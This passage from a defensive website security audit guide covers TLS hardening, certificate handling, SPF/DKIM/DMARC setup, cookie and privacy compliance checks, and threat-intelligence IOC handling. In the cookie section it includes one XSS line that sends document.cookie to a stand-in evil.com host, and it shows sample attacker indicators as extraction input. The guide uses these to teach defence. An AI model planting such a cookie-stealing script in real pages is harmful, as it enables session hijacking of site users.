Fix: Disable TLS 1.0, use TLS 1.2+
4. CRIME / BREACH (Compression Attacks)
Vulnerability: TLS compression leaks secrets
Fix: Disable TLS compression, minimize dynamic secrets in responses
Step 3.4: Certificate Generation & Renewal
Tool: Certificate CSR Generator
Certificate Signing Requests (CSRs) are required when requesting certificates from CAs.
CSR Generation Features
1. Interactive CSR Builder
Certificate Information:
Common Name (CN): example.com
Organization (O): Example Corporation
Organizational Unit (OU): IT Department
Locality (L): San Francisco
State (ST): California
Country (C): US
Subject Alternative Names:
- www.example.com
- api.example.com
Key Parameters:
Algorithm: RSA
Key Size: 2048 bits
Generate: [Private Key + CSR]
2. Format Conversion
Input Format: PEM
Output Formats:
☐ PEM (Apache, Nginx)
☐ DER (Java, Windows)
☐ PFX/P12 (IIS, Exchange)
☐ P7B (PKCS#7 certificate chain)
3. Certificate Chain Verification
Upload your certificate and intermediates to verify proper chain configuration:
Chain Verification:
✓ Root CA: DigiCert Global Root G2 (Trusted)
✓ Intermediate: DigiCert TLS RSA SHA256 2020 CA1
✓ Leaf: example.com
All certificates valid and properly ordered
Certificate Renewal Best Practices
According to SSL Dragon's Best Practices, organizations should:
- Renew at least yearly - Shorter validity = faster revocation response
- Generate new private keys - Reusing old keys increases compromise risk
- Use automation - Let's Encrypt with ACME protocol, cloud provider APIs
- Test in staging first - Verify renewal process before production
- Monitor expiration - Set alerts at 90, 60, 30, 7 days before expiration
Automated Renewal: Follow Certbot's current instructions for your web server and operating system. Test the renewal path and monitor certificate expiration.
Step 3.5: SSL/TLS Stage Output
After 30-40 minutes of SSL/TLS analysis, you should have:
-
Certificate Health Report
-
Certificate chain validation (root, intermediate, leaf)
-
Expiration timeline (renewal schedule)
-
Key strength assessment (algorithm, bit length)
-
SAN coverage verification
-
Protocol & Cipher Assessment
-
TLS version support (1.2, 1.3 enabled; 1.0, 1.1 disabled)
-
Cipher suite security (PFS enabled, weak ciphers removed)
-
Vulnerability scan (Heartbleed, POODLE, BEAST, etc.)
-
Certificate Transparency Monitoring
-
Unauthorized certificate detection
-
Wildcard certificate inventory
-
CT monitoring alerts configured
-
Remediation Roadmap
Critical (if confirmed; set deadline by risk):
☐ Renew certificate expiring in 12 days
☐ Disable TLS 1.0 and TLS 1.1
☐ Remove weak cipher suites
High Priority (set deadline by risk):
☐ Enable TLS 1.3
☐ Implement OCSP stapling
☐ Install missing intermediate certificate
☐ Set up CT monitoring alerts
Medium Priority (set deadline by risk):
☐ Review certificate key strength against current requirements
☐ Implement automated certificate renewal
☐ Add CAA DNS records
Next Steps: Proceed to Stage 4: Email Security & Authentication to assess spoofing exposure and mail authentication.
Stage 4: Email Security & Authentication (30-45 minutes)
Email authentication helps receiving systems identify messages that falsely claim to come from your domain. Email on Acid's authentication protocols guide discusses SPF, DKIM, and DMARC; the exact sender requirements depend on the receiving provider and sending volume.
Check the current Gmail sender guidelines and each receiving provider's guidance for authentication and bulk-sender requirements before changing mail policy.
Step 4.1: Email Authentication Validation
Tool: Email Authentication Validator
This tool validates SPF, DKIM, and DMARC records and provides security grading.
Understanding the Email Authentication Trinity
1. SPF (Sender Policy Framework)
SPF tells receiving servers which hosts are authorized to send email for your domain. Anything outside that list fails the check and can be blocked.
Example SPF Record:
The 192.0.2.100 entry is a documentation address; replace it with an actual authorized sender IP before publishing a record.
v=spf1 include:_spf.google.com include:sendgrid.net ip4:192.0.2.100 ~all
Breakdown:
v=spf1 - SPF version 1
include:_spf.google.com - Authorize Google Workspace servers
include:sendgrid.net - Authorize SendGrid email service
ip4:192.0.2.100 - Authorize specific IP address
~all - Soft fail for all other senders
SPF Qualifiers:
+all- Pass (allow all senders) ❌ NEVER USE~all- Soft fail (flag suspicious, but deliver) ✓ Recommended-all- Hard fail (reject unauthorized senders) ⚠️ Use with caution?all- Neutral (no policy) ❌ Ineffective
Why ~all Instead of -all?
According to DMARCLY's implementation guide, using -all can cause receiving servers to reject messages at SMTP transmission instead of evaluating DKIM signatures and DMARC policies. ~all allows DMARC to make the final decision.
Common SPF Errors:
DNS Lookup Limit:
❌ SPF record with 12 DNS lookups (limit is 10)
v=spf1 include:_spf.google.com include:sendgrid.net include:mailchimp.com
include:zendesk.com include:salesforce.com include:hubspot.com
include:mailgun.org include:amazonses.com include:outlook.com
include:constantcontact.com include:activecampaign.com
include:freshdesk.com ~all
Each include: directive requires a DNS lookup
Total: 12 lookups (exceeds 10-lookup limit)
Result: SPF record INVALID, authentication fails
Fix: Use SPF flattening or consolidate services.
2. DKIM (DomainKeys Identified Mail)
DKIM signs each outgoing message with a private key. The recipient validates it against your DNS public key. A valid signature proves the message wasn't altered and came from your domain.
DKIM DNS Record:
Host: default._domainkey.example.com
Type: TXT
Value: v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...
Breakdown:
v=DKIM1 - DKIM version 1
k=rsa - RSA encryption
p=... - Public key (base64-encoded)
DKIM Signature in Email Header:
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=default;
h=from:to:subject:date;
bh=base64hash;
b=signature
Components:
d=example.com - Signing domain
s=default - Selector (DNS record to query)
h=from:to:... - Headers included in signature
b=signature - Cryptographic signature
DKIM Best Practices:
According to EasyDMARC's best practices:
- Set a key rotation schedule - Review the schedule against provider guidance and operational risk
- Use 2048-bit keys minimum - 1024-bit keys are deprecated
- Multiple selectors - Use different keys for different mail streams
- Test before enforcement - Verify signatures with test emails
3. DMARC (Domain-based Message Authentication, Reporting, and Conformance)
DMARC passes when at least one authenticated SPF or DKIM identifier aligns with the visible From: domain. If neither produces an aligned pass, the published policy requests receiver handling; receivers retain discretion. Aggregate reports can help identify authentication results and sending sources. See RFC 9989.
Example DMARC Record:
v=DMARC1; p=reject; rua=mailto:dmarc@example.com;
ruf=mailto:forensic@example.com; pct=100;
adkim=s; aspf=s; fo=1
Breakdown:
v=DMARC1 - DMARC version 1
p=reject - Request rejection of DMARC failures
rua=mailto:dmarc@example.com - Aggregate reports destination
ruf=mailto:forensic@... - Forensic (failure) reports
pct=100 - Apply policy to 100% of messages
adkim=s - Strict DKIM alignment
aspf=s - Strict SPF alignment
fo=1 - Forensic reporting options
DMARC Policies:
p=none- Request no special handling; use reports for monitoring where availablep=quarantine- Request quarantine of DMARC failuresp=reject- Request rejection of messages that fail DMARC; receivers decide handling
Subdomain Policy:
v=DMARC1; p=reject; sp=quarantine; ...
p=reject - Request rejection of DMARC failures for example.com
sp=quarantine - Request quarantine of DMARC failures for subdomains
Email Authentication Validator Features
1. Multi-Protocol Validation
Domain: example.com
Scan Date: 2025-01-07 11:00:00 UTC
SPF Record:
✓ Record found: v=spf1 include:_spf.google.com ~all
✓ Syntax valid
✓ DNS lookups: 3/10 (within limit)
✓ Qualifier: ~all (soft fail - recommended)
DKIM Records:
✓ Selector: default._domainkey
✓ Key length: 2048-bit RSA (secure)
⚠️ Key age: 18 months (rotation recommended)
DMARC Record:
❌ No DMARC record found
Impact: No published handling request for messages without an aligned SPF or DKIM pass
Recommendation: Implement DMARC with p=none
2. Security Grading
Email Security Score: C- (62/100)
Breakdown:
SPF: ✓ Configured (25/25 points)
DKIM: ✓ Configured (25/25 points)
DMARC: ❌ Missing (0/25 points)
Alignment: ⚠️ Not enforced (12/25 points)
Grade Improvement Plan:
Add DMARC record → Upgrade to B
Enforce strict alignment → Upgrade to A-
Rotate DKIM keys → Upgrade to A
3. Identifier Alignment Checking
Email authentication requires identifier alignment—the domain in the From: header must match the domain in SPF/DKIM checks.
Alignment Modes:
- Relaxed Alignment:
mail.example.comaligns withexample.com - Strict Alignment: Only exact match (
example.com=example.com)
Example:
Email From: noreply@example.com
SPF Domain: mail.example.com
DKIM Domain: example.com
Relaxed Alignment:
SPF: ✓ Aligned (subdomain match)
DKIM: ✓ Aligned (exact match)
Strict Alignment:
SPF: ❌ Not aligned (subdomain mismatch)
DKIM: ✓ Aligned (exact match)
Step 4.2: Email Configuration Optimization
SPF Record Generation
Tool: SPF Record Generator
Features:
- Service Integration Wizard
Select Email Services:
✓ Google Workspace (include:_spf.google.com)
✓ SendGrid (include:sendgrid.net)
✓ Mailchimp (include:servers.mcsv.net)
☐ Microsoft 365
☐ Amazon SES
Custom IPs:
+ Add IP: 192.0.2.100
Generated SPF:
v=spf1 include:_spf.google.com include:sendgrid.net
include:servers.mcsv.net ip4:192.0.2.100 ~all
DNS Lookups: 4/10 ✓
2. Automatic DNS Lookup Counter
The tool automatically calculates DNS lookups to prevent exceeding the 10-lookup limit.
3. SPF Flattening for Large Organizations
For organizations with 10+ email services, SPF flattening converts include: directives to IP addresses:
Before Flattening:
v=spf1 include:_spf.google.com include:sendgrid.net
include:mailchimp.com include:zendesk.com
include:salesforce.com include:hubspot.com
include:mailgun.org include:amazonses.com
include:outlook.com include:constantcontact.com
include:activecampaign.com include:freshdesk.com ~all
DNS Lookups: 12/10 ❌ EXCEEDS LIMIT
After Flattening:
v=spf1 ip4:64.233.160.0/19 ip4:66.102.0.0/20
ip4:74.125.0.0/16 ip4:108.177.8.0/21
ip4:209.85.128.0/17 ip4:216.58.192.0/19 ~all
DNS Lookups: 1/10 ✓
Warning: SPF flattening requires ongoing maintenance as service providers change IPs. Use automated tools or managed services.
DMARC Record Generation
Tool: DMARC Record Generator
Features:
1. Step-by-Step Wizard
Step 1: Policy Selection
○ Monitor (p=none) - Recommended for initial deployment
○ Quarantine (p=quarantine) - Mark suspicious as spam
○ Reject (p=reject) - Block unauthorized senders
Step 2: Reporting Configuration
Aggregate Reports: dmarc-reports@example.com
Forensic Reports: dmarc-forensic@example.com
Step 3: Alignment Mode
○ Relaxed (r) - Subdomain matching allowed
○ Strict (s) - Exact domain matching required
Step 4: Percentage Rollout
Apply policy to: 100% of messages
Generated DMARC Record:
v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com;
ruf=mailto:dmarc-forensic@example.com; pct=100;
adkim=r; aspf=r; fo=1
2. Preset Templates
Template: Financial Services (Strict Security)
p=reject; adkim=s; aspf=s; pct=100
Template: E-commerce (Balanced)
p=quarantine; adkim=r; aspf=r; pct=100
Template: Startup (Monitoring Phase)
p=none; adkim=r; aspf=r; pct=100
3. Gradual Enforcement Roadmap
Use aggregate reports and tests of legitimate mail flows to decide whether and when to increase enforcement. Receiver handling is not guaranteed by a published policy.
Evidence-Based DMARC Deployment Plan:
Inventory: Identify authorized mail streams and configure SPF/DKIM alignment
Monitor: Publish p=none and review aggregate reports where available
Validate: Resolve authentication failures for legitimate mail
Enforce: Consider quarantine or reject requests when evidence supports them
Recheck: Continue reviewing reports and delivery after policy changes
Step 4.3: Email Deliverability Testing
Tool: Email Validator & MX Checker
Beyond authentication, email deliverability depends on proper MX configuration and domain reputation.
MX Record Validation
Example MX Query:
Domain: example.com
MX Records:
Priority 10: mail1.example.com (192.0.2.10)
Priority 20: mail2.example.com (192.0.2.20)
✓ Multiple MX records (redundancy)
✓ Priority values configured correctly
✓ All MX hosts resolve to valid IPs
✓ Reverse DNS (PTR) records configured
MX Best Practices:
- Multiple MX records - Redundancy if primary fails
- Different priority values - Ensures failover order (10, 20, 30)
- Reverse DNS (PTR) - Many servers reject mail without PTR records
- Same provider for all MX - Avoid mixing Gmail + Microsoft 365 MX records
Disposable Domain Detection
Why This Matters: User registrations with disposable email addresses (temp-mail.org, guerrillamail.com) indicate low-quality signups, spam, or fraud.
Example Check:
Email: user@temp-mail.org
Analysis:
❌ Disposable email service detected
Provider: Temp-Mail.org (temporary inbox)
Lifetime: 10 minutes to 48 hours
Risk: High (fraud, spam, low-quality signup)
Recommendation: Block disposable domains during registration
Use Cases:
- SaaS trial signups (prevent abuse)
- E-commerce registration (fraud prevention)
- Newsletter subscriptions (engagement quality)
Provider Risk Scoring
Example Analysis:
Email: user@gmail.com
Provider Analysis:
✓ Gmail (Google) - Tier 1 Provider
Reputation: Excellent
Spam Filtering: Very Strict
DMARC Enforcement: Required for bulk senders
Deliverability: High (with proper authentication)
Recommendation: Ensure SPF, DKIM, DMARC configured
Provider Tiers:
- Tier 1: Gmail, Outlook, Yahoo (strict filtering, high volume)
- Tier 2: Corporate domains (configurable filtering)
- Tier 3: Small ISPs (variable filtering)
- High-Risk: Disposable, temporary, known spam domains
Step 4.4: Phishing Protection
Tool: Domain Spoofing Detector
We covered this in Stage 1, but it's critical for email security—attackers use spoofed domains to conduct phishing.
Email-Specific Use Case:
Primary Domain: example.com
Email: support@example.com
Phishing Domains Detected:
⚠️ support-example.com (Registered 2024-12-20)
⚠️ examp1e.com (Registered 2024-11-15)
⚠️ example-secure.com (Registered 2024-10-30)
All sending phishing emails impersonating support@example.com
Defense Strategy:
- DMARC enforcement - Requests receiver action on mail that fails alignment; it cannot prevent all spoofing or lookalike domains
- Defensive registration - Register common typos
- Brand monitoring - Track newly registered similar domains
- User education - Train employees to recognize phishing
Step 4.5: Email Security Stage Output
After 40-45 minutes of email security analysis, you should have:
-
Email Authentication Status
-
SPF record validation (syntax, lookup count, qualifier)
-
DKIM configuration (key strength, selector, rotation schedule)
-
DMARC policy assessment (enforcement level, alignment mode)
-
Overall security grade (A-F with improvement plan)
-
Optimized Email Records
-
SPF record generated with service integrations
-
DMARC record with phased enforcement roadmap
-
MX record redundancy verification
-
Deliverability Assessment
-
MX record configuration (priority, redundancy, PTR)
-
Provider risk scoring
-
Disposable domain detection
-
Evidence-Based Deployment Roadmap
Foundation:
☐ Audit current email infrastructure
☐ Deploy SPF record (Google, SendGrid, custom IPs)
☐ Configure DKIM signing (2048-bit keys)
☐ Deploy DMARC with p=none (monitoring)
☐ Set up DMARC report collection
Monitoring & Optimization:
☐ Analyze DMARC aggregate reports
☐ Identify unauthorized email sources
☐ Fix SPF/DKIM failures for legitimate services
Enforcement, if supported by reports and delivery tests:
☐ Consider p=quarantine or p=reject as a receiver-handling request
☐ Check legitimate delivery after each change
☐ Review reports at a cadence appropriate to mail volume and risk
☐ Review DKIM key rotation against provider guidance
Next Steps: Proceed to Stage 5: Privacy & Compliance Analysis for GDPR/CCPA verification.
Stage 5: Privacy & Compliance Analysis (20-30 minutes)
Privacy requirements vary by jurisdiction and processing activity. Use the Transcend cookie consent guide and GDPR consent guidance as background, then verify the rules that apply to your organization with current regulator guidance or legal counsel. The checks below can flag issues for review; they cannot certify legal compliance.
Step 5.1: Cookie & Tracking Analysis
Tool: Cookie Analyzer
HTTP cookies are essential for modern web applications (session management, personalization, analytics)—but they also pose privacy and security risks when improperly configured.
Cookie Attributes Analysis
Example Cookie:
Set-Cookie: sessionId=abc123;
Domain=example.com;
Path=/;
Expires=Wed, 31 Dec 2025 23:59:59 GMT;
Secure;
HttpOnly;
SameSite=Strict
1. Secure Flag
Purpose: Cookie only sent over HTTPS connections.
✓ GOOD: Secure flag set
Cookie: sessionId=abc123; Secure
❌ BAD: No Secure flag (HTTP transmission allowed)
Cookie: sessionId=abc123
Risk: Session hijacking via man-in-the-middle attack
Recommendation: Set the Secure flag on cookies sent over HTTPS, especially session and other sensitive cookies; review any exception for the application's deployment context.
2. HttpOnly Flag
Purpose: Cookie inaccessible to JavaScript (prevents XSS theft).
✓ GOOD: HttpOnly flag set
Cookie: sessionId=abc123; HttpOnly
Result: document.cookie cannot read this cookie
❌ BAD: No HttpOnly flag
Cookie: sessionId=abc123
Risk: XSS attack steals session cookie
Attack: <script>fetch('https://evil.com?c='+document.cookie)</script>
Recommendation: Session cookies must have HttpOnly flag.
3. SameSite Attribute
Purpose: Controls cross-site cookie transmission (CSRF protection).
Values:
SameSite=Strict- Never sent with cross-site requests ✓ Most secureSameSite=Lax- Sent with top-level navigation (GET only) ✓ BalancedSameSite=None; Secure- Sent with all requests ⚠️ Requires justification
Example:
Cookie: sessionId=abc123; SameSite=Strict
User clicks link from evil.com → example.com
Result: sessionId cookie NOT sent (Strict policy)
User navigates directly to example.com
Result: sessionId cookie sent (same-site request)
Use Cases:
- Strict: Session cookies, authentication tokens
- Lax: Shopping carts, preferences (needs cross-site GET)
- None: Third-party embeds (ads, social widgets) - requires
Secureflag
4. Session vs. Persistent Cookies
Session Cookies:
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
No Expires or Max-Age → Deleted when browser closes
Persistent Cookies:
Set-Cookie: userId=user123; Expires=Wed, 31 Dec 2025 23:59:59 GMT; Secure
Expires set → Cookie survives browser restart
Privacy Implication: Persistent cookies enable long-term tracking. GDPR requires consent for non-essential persistent cookies.
Cookie Analyzer Features
1. Cookie Inventory
Domain: example.com
Cookies Found: 12
First-Party Cookies (7):
✓ sessionId (Secure, HttpOnly, SameSite=Strict) - Session management
✓ csrfToken (Secure, SameSite=Strict) - CSRF protection
✓ preferences (Secure, Expires: 1 year) - User preferences
⚠️ userId (Missing HttpOnly) - User identifier
Third-Party Cookies (5):
⚠️ _ga (Google Analytics) - Analytics tracking
⚠️ _fbp (Facebook Pixel) - Marketing tracking
⚠️ __Secure-1PSID (Google) - Advertising
❌ adId (Missing Secure flag) - Ad network
❌ tracking (No SameSite, No Secure) - Unknown tracker
2. Security Scoring
Cookie Security Score: C+ (72/100)
Issues Detected:
❌ Critical: 1 cookie missing Secure flag
⚠️ Warning: 2 session cookies missing HttpOnly
⚠️ Warning: 5 third-party tracking cookies (consent required)
Compliance:
⚠️ GDPR: Cookie consent banner detected but incomplete
⚠️ CCPA: Check whether a sale/sharing opt-out method is required
3. Third-Party Tracker Identification
Third-Party Trackers:
Analytics (2):
- Google Analytics (_ga, _gid)
- Hotjar (_hjSessionUser, _hjSession)
Marketing (3):
- Facebook Pixel (_fbp)
- Google Ads (_gcl_au)
- LinkedIn Insight (_lipt)
Consent Required: Yes (non-essential cookies)
Step 5.2: GDPR Compliance Scanning
Tool: GDPR Compliance Checker
GDPR (General Data Protection Regulation) applies to processing connected with an EU establishment. For an organization outside the EU, it can also apply when the processing relates to offering goods or services to people in the EU or monitoring their behavior there. Merely processing an EU visitor's data or making a site accessible in the EU does not by itself establish that territorial scope. See GDPR Article 3.
GDPR Requirements
1. Cookie Consent Mechanism
GDPR requires "prior opt-in"—cookies cannot be set until users say "yes."
Compliant Cookie Banner:
✓ GOOD: Explicit consent required
[Cookie Banner]
We use cookies for analytics and personalization.
[ Reject All ] [ Accept Necessary Only ] [ Accept All ]
[ Cookie Settings ]
Before user clicks:
✓ Only essential cookies loaded (session, CSRF)
✓ Analytics cookies NOT loaded
✓ Marketing cookies NOT loaded
Non-Compliant Examples:
❌ BAD: Pre-ticked boxes
[✓] Analytics cookies
[✓] Marketing cookies
Reason: Consent not freely given
❌ BAD: "Continue browsing = consent"
"By using this site, you consent to cookies"
Reason: Not explicit opt-in
❌ BAD: No "Reject All" option
[ Accept All ] [ Cookie Settings ]
Reason: Consent not freely given (unequal choices)
2. Privacy Policy Detection
GDPR requires a privacy policy explaining data collection, processing, and rights.
Required Elements:
Privacy Policy Checklist:
✓ Data controller identity and contact info
✓ Types of data collected (personal, behavioral, etc.)
✓ Legal basis for processing (consent, contract, legitimate interest)
✓ Data retention periods
✓ Third-party data sharing (analytics, ads, CRMs)
✓ User rights (access, deletion, portability, objection)
✓ Contact for data subject requests (DSAR)
✓ Cookie policy (types, purposes, opt-out)
3. Third-Party Tracker Disclosure
Example Scan:
Third-Party Trackers Detected:
Google Analytics:
✓ Disclosed in privacy policy
✓ Data processing agreement (DPA) in place
⚠️ Consent required before loading
Facebook Pixel:
❌ Not disclosed in privacy policy (GDPR violation)
❌ Loaded before consent obtained
Impact: €10M - €20M fine potential
Hotjar:
✓ Disclosed in privacy policy
❌ Consent obtained after script loaded
Fix: Move script load after consent
4. Data Processing Disclosure
Data Processing Activities:
User Registration:
✓ Legal basis: Contract (account creation)
✓ Data collected: Name, email, password hash
✓ Retention: Account lifetime + 30 days after deletion
Email Marketing:
✓ Legal basis: Consent (opt-in)
✓ Data collected: Email, preferences
✓ Opt-out mechanism: Unsubscribe link
Analytics:
⚠️ Legal basis: Legitimate interest (requires justification)
⚠️ Consent mechanism: Required for GDPR compliance
GDPR Checker Features
1. Automated Privacy Indicators
Domain: example.com
GDPR Scan Date: 2025-01-07 12:00:00 UTC
Legal compliance: Requires review of applicable duties and actual processing
Critical Issues (3):
❌ Cookies set before consent obtained
❌ Facebook Pixel not disclosed in privacy policy
❌ Review whether applicable opt-out signals are handled as required
Warnings (5):
⚠️ Privacy policy last updated 2 years ago
⚠️ No data retention schedule documented
⚠️ Cookie banner missing "Reject All" button
⚠️ Third-party scripts loaded synchronously
⚠️ No consent management platform detected
Passed Checks (7):
✓ Privacy policy accessible
✓ Cookie policy present
✓ Contact information for data requests
✓ SSL/TLS encryption enabled
✓ Secure cookie flags configured
✓ No sensitive data in URLs
✓ Email opt-out mechanism present
2. Compliance Gap Analysis
GDPR Compliance Gaps:
Priority 1 (Fix Immediately):
☐ Implement prior consent for non-essential cookies
☐ Disclose all third-party trackers in privacy policy
☐ Add "Reject All" button to cookie banner
Priority 2 (set deadline from applicable duties and risk):
☐ Update privacy policy (last updated > 1 year)
☐ Document data retention schedules
☐ Implement consent management platform
☐ Defer third-party script loading until consent
Priority 3 (Continuous Improvement):
☐ Review privacy disclosures when processing or requirements change
☐ Determine whether a DPIA is required for the processing under review
☐ Staff GDPR training
Step 5.3: robots.txt Security Review
Tool: robots.txt Analyzer
We covered this in Stage 1, but from a privacy perspective, robots.txt can leak sensitive information.
Privacy-Related Issues:
User-agent: *
Disallow: /users/
Disallow: /accounts/
Disallow: /private/
Disallow: /personal-data/
⚠️ PRIVACY CONCERN:
Revealing paths like /users/ and /personal-data/ indicates
presence of user data, potentially violating privacy-by-design
principles.
Recommendation: Don't rely on robots.txt for privacy—use
authentication and access controls.
Step 5.4: CCPA Compliance (California Consumer Privacy Act)
Key Differences from GDPR:
| Requirement | GDPR | CCPA |
|---|---|---|
| Consent Model | Opt-in before cookies | Opt-out after cookies |
| Scope | EU residents | California residents |
| Cookie Banner / Opt-out | Assess consent requirements for non-essential cookies | If the CCPA applies and the business sells or shares personal information, provide a compliant opt-out method; a specific link is not universally required |
| Data Rights | Access, deletion, portability | Access, deletion, opt-out of sale |
CCPA Implementation:
Check California Privacy Protection Agency guidance and the opt-out regulations when choosing a compliant method.
CCPA Compliance Checklist:
✓ Confirm CCPA applicability and whether personal information is sold or shared
✓ If required, provide a compliant opt-out method (link, alternative link, or qualifying frictionless preference-signal handling)
✓ Test that the chosen method stops covered sale or sharing
✓ Privacy policy discloses data selling/sharing practices
✓ Honors Global Privacy Control (GPC) browser signal
⚠️ Verify that applicable opt-out preference signals are honored
GPC (Global Privacy Control):
User Browser Header: Sec-GPC: 1
Compliant Response:
if (request.headers['Sec-GPC'] === '1') {
// Don't sell/share user data
// Don't load third-party trackers
// Log opt-out preference
}
Step 5.5: Privacy & Compliance Stage Output
After 25-30 minutes of privacy analysis, you should have:
-
Cookie Security Assessment
-
Cookie inventory (first-party, third-party)
-
Security flag analysis (Secure, HttpOnly, SameSite)
-
Third-party tracker identification
-
Privacy Control Review (not a legal compliance score)
-
Cookie consent mechanism validation
-
Privacy policy completeness check
-
Third-party disclosure verification
-
Compliance gap analysis with remediation priorities
-
CCPA Compliance Verification
-
Applicable sale/sharing opt-out method
-
GPC signal detection
-
Privacy policy disclosure
-
Remediation Priority List
Critical (where applicable; set deadline from legal duties and risk):
☐ Implement prior consent for non-essential cookies
☐ Add "Reject All" button to cookie banner
☐ Disclose all third-party trackers in privacy policy
☐ Stop loading analytics/marketing before consent
High Priority (where applicable):
☐ Update privacy policy (data retention, rights, contacts)
☐ Implement GPC signal detection
☐ If applicable, provide a compliant CCPA sale/sharing opt-out method
☐ Configure consent management platform (Cookiebot, OneTrust)
Medium Priority (where applicable):
☐ Conduct a DPIA where required for the processing under review
☐ Document data retention schedules
☐ Review privacy disclosures when processing or requirements change
☐ Staff training on GDPR/CCPA
Next Steps: Proceed to Stage 6: Threat Intelligence & Attack Surface Management for active threat monitoring.
Stage 6: Threat Intelligence & Attack Surface Management (15-25 minutes)
Security audits don't end at configuration checks—you must monitor active threats targeting your infrastructure. This stage focuses on collecting threat intelligence, identifying indicators of compromise (IOCs), and setting up continuous monitoring.
Step 6.1: Threat Intelligence Collection
Tool: IOC Extractor
Indicators of Compromise (IOCs) are forensic artifacts indicating potential intrusions—IP addresses, domains, URLs, file hashes, and email addresses observed in attacks.
IOC Extraction Features
1. Pattern Recognition
The tool automatically extracts 8 types of indicators from threat reports, logs, or intelligence feeds:
Input: Threat Intelligence Report
We observed the threat actor using IP 185.220.101.34 to communicate
with their C2 server at evil-c2.tk. Phishing emails originated from
attacker@malicious.net with subject "Urgent: Password Reset" and
contained links to http://phishing-site.com/login. The malware payload
had SHA-256 hash e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.
Extracted IOCs:
IP Addresses:
- 185.220.101.34 (C2 server)
Domains:
- evil-c2.tk (C2 domain)
- phishing-site.com (Phishing infrastructure)
URLs:
- http://phishing-site.com/login (Credential harvesting)
Email Addresses:
- attacker@malicious.net (Phishing sender)
File Hashes (SHA-256):
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
2. Multi-Format Support
Input formats:
- Plain text threat reports
- CSV/JSON threat feeds
- SIEM logs (Splunk, ELK, QRadar)
- Email headers (phishing analysis)
- Malware analysis reports
3. Export for SIEM Integration
Export Format: JSON (STIX 2.1 Compatible)
{
"indicators": [
{
"type": "ipv4-addr",
"value": "185.220.101.34",
"labels": ["malicious-activity", "c2-server"],
"confidence": "high"
},
{
"type": "domain-name",
"value": "evil-c2.tk",
"labels": ["malicious-activity", "c2-domain"],
"confidence": "high"
}
]
}
Step 6.2: Threat Intelligence Aggregation
Tool: Threat Intelligence Feed Aggregator
Multiple threat intelligence feeds provide different coverage—aggregating them creates comprehensive protection.
Feed Aggregation Features
1. Multi-Source Integration
Supported Feeds:
Public or community feeds (check current access terms):
- AlienVault OTX (Open Threat Exchange)
- Abuse.ch (URLhaus, ThreatFox, MalwareBazaar)
- Emerging Threats (ET Intelligence)
- CISA (Cybersecurity & Infrastructure Security Agency)
Vendor feeds (check current plans):
- Recorded Future
- ThreatConnect
- Anomali ThreatStream
- FireEye iSIGHT
2. Deduplication & Enrichment
Example Aggregation:
Input Feeds:
Feed 1 (AlienVault): 185.220.101.34 (malware C2)
Feed 2 (Abuse.ch): 185.220.101.34 (phishing)
Feed 3 (ET): 185.220.101.34 (botnet)
Aggregated Output:
IP: 185.220.101.34
Threat Types: malware-c2, phishing, botnet
First Seen: 2024-12-15
Last Seen: 2025-01-06
Confidence: High (3 sources)
Blocklist: Yes
3. Investigation Checklist Generation
Threat Investigation: Suspicious Activity from 185.220.101.34
Checklist:
☐ Search firewall logs for 185.220.101.34 connections
☐ Search proxy logs for evil-c2.tk DNS queries
☐ Search email logs for attacker@malicious.net
☐ Search endpoint logs for malware hash
☐ Check SIEM for related indicators
☐ Interview users who accessed phishing-site.com
☐ Block IP at perimeter firewall
☐ Add domain to DNS blocklist
☐ Update endpoint detection rules
4. Export Collections for SIEM
SIEM Ingestion Formats:
- CSV - Excel, Splunk, QRadar
- JSON - ELK Stack, Graylog
- STIX 2.1 - MISP, OpenCTI, ThreatConnect
- YARA Rules - Endpoint detection (CrowdStrike, Carbon Black)
Step 6.3: Active Threat Detection
IP Reputation Monitoring
Tool: IP Risk Checker
Monitor your own infrastructure for reputation issues—if your web servers are flagged on blocklists, email deliverability and customer trust suffer.
What to Monitor:
Weekly IP Reputation Check:
Web server: [Actual in-scope public IP]
Check blocklist results and recent abuse reports
Mail server: [Actual in-scope public IP]
If listed, verify the listing and investigate the underlying cause
Assess delivery impact with provider data before requesting delisting
Automated Monitoring:
- Daily IP reputation checks
- Email alerts on new blocklist additions
- Historical tracking (reputation trends over time)
- Incident response playbook for delisting
Security Headers Regression Testing
Tool: Security Headers Analyzer
Configuration drift happens—security headers can be accidentally removed during deployments.
Periodic Regression Test:
Site: example.com
Last Scan: 2024-10-07 (3 months ago)
Current Scan: 2025-01-07
Regression Detected:
❌ Content-Security-Policy: WAS present → NOW missing
❌ HSTS max-age: WAS 31536000 → NOW 86400 (reduced from 1 year to 1 day)
Grade Change: A → C-
Investigation Required:
- Review recent deployments
- Check CDN/load balancer configuration
- Restore CSP and HSTS policies
Automated Monitoring:
- Weekly header checks
- Alert on grade degradation
- Git commit integration (track config changes)
- Rollback procedures for regressions
Step 6.4: Threat Intelligence Stage Output
After 20-25 minutes of threat intelligence work, you should have:
-
IOC Collection
-
Indicators extracted from threat reports (IPs, domains, hashes)
-
Export format (CSV, JSON, STIX) for SIEM ingestion
-
Investigation checklist for incident response
-
Threat Feed Aggregation
-
Multi-source threat intelligence aggregated
-
Deduplicated and enriched indicators
-
Confidence scoring (based on source count)
-
Active Threat Monitoring
-
IP reputation baseline (clean status verified)
-
Security header compliance verified
-
Automated monitoring alerts configured
-
Continuous Monitoring Setup
Daily Monitoring:
☐ IP reputation check (web and mail servers)
☐ Certificate expiration check (via CT logs)
☐ DMARC aggregate report review
Weekly Monitoring:
☐ Security headers regression test
☐ Threat feed aggregation update
☐ Newly registered typosquatting domains
Monthly Monitoring:
☐ Full security audit (repeat Stages 1-6)
☐ SSL/TLS cipher suite review
☐ Privacy policy compliance check
Periodic Monitoring:
☐ Penetration test (external + internal)
☐ Vulnerability scan (Nmap, OWASP ZAP)
☐ Compliance audit (SOC 2, ISO 27001)
Next Steps: Proceed to Stage 7: Audit Documentation & Remediation Planning to compile findings and create an actionable roadmap.
Stage 7: Audit Documentation & Remediation Planning (30-60 minutes)
The final stage transforms your audit findings into actionable intelligence—executive summaries, detailed technical reports, and time-bound remediation roadmaps.
Step 7.1: Vulnerability Prioritization
